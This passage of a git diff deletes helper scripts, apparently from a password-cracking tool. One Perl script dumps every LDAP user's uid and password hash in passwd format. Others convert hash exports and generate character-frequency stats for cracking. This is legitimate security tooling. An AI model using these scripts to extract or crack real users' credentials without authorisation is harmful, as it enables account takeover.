print "Column: $#tmp BNAME: $pos_bname BCODE: $pos_codeb PASSCODE: $pos_codeg\n";
|
||||
|
||||
if (-1==$pos_bname || (-1==$pos_codeg && -1==$pos_codeb ) ) {
|
||||
print "BNAME column not found OR both hash-columns are missing \n";
|
||||
exit 0;
|
||||
}
|
||||
|
||||
while ($line=<INPUT_FILE>) {
|
||||
$count++;
|
||||
chomp($line);
|
||||
@tmp = split(/\t/, $line);
|
||||
if ($#tmp<$pos_bname || ($#tmp<$pos_codeb && $#tmp<$pos_codeg)) {
|
||||
print "******** line $count in csv file has the wrong format ********\n";
|
||||
next;
|
||||
}
|
||||
if ($pos_codeg!=-1 && $tmp[$pos_codeg]=~/[a-zA-Z0-9]/) { # both hashes
|
||||
print "username: $tmp[$pos_bname] codeB: $tmp[$pos_codeb] codeG: $tmp[$pos_codeg] \n";
|
||||
$strN = $tmp[$pos_bname];
|
||||
$strSALT = "$strN"." "x($SALT_LENGTH-length($tmp[$pos_bname]));
|
||||
$strB = "$tmp[$pos_codeb]";
|
||||
$strG = "$tmp[$pos_codeg]";
|
||||
print CODEB_FILE "$strN:$strSALT\$$strB\n";
|
||||
print CODEG_FILE "$strN:$strSALT\$$strG\n";
|
||||
}
|
||||
elsif ($pos_codeb!=-1 && $tmp[$pos_codeb]=~/[a-zA-Z0-9]/ ) { # only bcode
|
||||
print "username: $tmp[$pos_bname] codeB: $tmp[$pos_codeb] \n";
|
||||
$strN = $tmp[$pos_bname];
|
||||
$strSALT = "$strN"." "x($SALT_LENGTH-length($tmp[$pos_bname]));
|
||||
$strB = "$tmp[$pos_codeb]";
|
||||
print CODEB_FILE "$strN:$strSALT\$$strB\n";
|
||||
}
|
||||
else {
|
||||
print "******** line $count in csv file has the wrong format ********\n";
|
||||
}
|
||||
}
|
||||
|
||||
close INPUT_FILE;
|
||||
close CODEB_FILE;
|
||||
close CODEG_FILE;
|
||||
|
||||
print "\nDone!\n";
|
||||
exit 0;
|
||||
|
||||
|
||||
|
|
@ -1,23 +0,0 @@
|
|||
#!/usr/bin/perl
|
||||
|
||||
use Net::LDAP;
|
||||
|
||||
$server = $ARGV[0];
|
||||
$password = $ARGV[1];
|
||||
|
||||
$ldap = Net::LDAP->new($server) || die "$@";
|
||||
$ldap->bind("cn=Directory Manager", password => $password) || die "$@";
|
||||
$search = $ldap->search(base => "o=test",
|
||||
scope => "subtree",
|
||||
filter => "(uid=*)");
|
||||
|
||||
$search->code && die $search->error;
|
||||
|
||||
$i=0;
|
||||
foreach $user ($search->all_entries) {
|
||||
@uid=$user->get("uid");
|
||||
@pass=$user->get("userpassword");
|
||||
print $uid[0].":".$pass[0].":".
|
||||
$i.":".$i.":/".$uid[0].":\n";
|
||||
}
|
||||
$ldap->unbind();
|
||||
|
|
@ -1,19 +0,0 @@
|
|||
#!/usr/bin/perl
|
||||
# http://www.perl.com/CPAN-local/modules/by-module/MIME/MIME-Base64-2.06.tar.gz
|
||||
# http://www.perl.com/CPAN-local/modules/by-module/SHA/SHA-1.2.tar.gz
|
||||
|
||||
use MIME::Base64;
|
||||
use SHA;
|
||||
if ("SHA-1" ne &SHA::sha_version) { die "wrong SHA version\n"; }
|
||||
$sha = new SHA;
|
||||
|
||||
$label = "{SHA}";
|
||||
$count = 1;
|
||||
while(<>) {
|
||||
chomp;
|
||||
$hash = $sha->hash ($_);
|
||||
printf ("%s:%s%s:%d:%d:%s:/home/%s/:\n",
|
||||
$_, $label, encode_base64 ($hash . $salt, ""), $count, $count,
|
||||
$_, $_);
|
||||
$count++;
|
||||
}
|
||||
|
|
@ -1 +0,0 @@
|
|||
john
|
||||
File diff suppressed because it is too large
Load Diff
Binary file not shown.
|
|
@ -1 +0,0 @@
|
|||
john
|
||||
|
|
@ -1 +0,0 @@
|
|||
john
|
||||
|
|
@ -1 +0,0 @@
|
|||
john
|
||||
|
|
@ -1 +0,0 @@
|
|||
john
|
||||
|
|
@ -1 +0,0 @@
|
|||
john
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -1,78 +0,0 @@
|
|||
#!/usr/bin/ruby -w
|
||||
|
||||
require 'getoptlong'
|
||||
|
||||
def help
|
||||
puts "Usage: #{$0} [options]"
|
||||
puts "\t-h --help\t\tthis help."
|
||||
puts "\t-f --file\t\toutput file."
|
||||
puts "\t-n --num\t\tcharset: 0123456789"
|
||||
puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz"
|
||||
puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
puts "\t-l --alphanum\t\tcharset: alpha + num"
|
||||
puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num"
|
||||
puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*"
|
||||
puts "\t-c --custom"
|
||||
puts "\nExample:\n"
|
||||
puts "#{$0} -f stats -s"
|
||||
puts "#{$0} -f stats -c \"0123abc+=\""
|
||||
exit
|
||||
end
|
||||
|
||||
ch_alpha = 'abcdefghijklmnopqrstuvwxyz'
|
||||
ch_num = '0123456789'
|
||||
ch_sp = '!@#$+=.*'
|
||||
|
||||
opts = GetoptLong.new(
|
||||
[ '--help', '-h', GetoptLong::NO_ARGUMENT ],
|
||||
[ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT],
|
||||
[ '--all', '-s', GetoptLong::NO_ARGUMENT],
|
||||
[ '--num', '-n', GetoptLong::NO_ARGUMENT],
|
||||
[ '--alpha', '-a', GetoptLong::NO_ARGUMENT ],
|
||||
[ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ],
|
||||
[ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ],
|
||||
[ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ],
|
||||
[ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ]
|
||||
)
|
||||
|
||||
charset = nil
|
||||
filename = "stats_out"
|
||||
|
||||
opts.each do |opt, arg|
|
||||
case opt
|
||||
when '--help'
|
||||
help
|
||||
when '--file'
|
||||
filename = arg
|
||||
when '--num'
|
||||
charset = ch_num
|
||||
when '--alpha'
|
||||
charset = ch_alpha
|
||||
when '--alphamaj'
|
||||
charset = ch_alpha.capitalize
|
||||
when '--alphanum'
|
||||
charset = ch_alpha + ch_num
|
||||
when '--alphanummaj'
|
||||
charset = ch_alpha.capitalize + ch_num
|
||||
when '--all'
|
||||
charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp
|
||||
when '--custom'
|
||||
charset = arg
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if charset == nil
|
||||
help
|
||||
end
|
||||
|
||||
|
||||
fstat = File.open(filename, "w")
|
||||
charset.each_byte do |c|
|
||||
fstat.write("1=proba1[#{c.to_s}]\n")
|
||||
charset.each_byte do |tmp|
|
||||
fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n")
|
||||
end
|
||||
end
|
||||
fstat.close
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue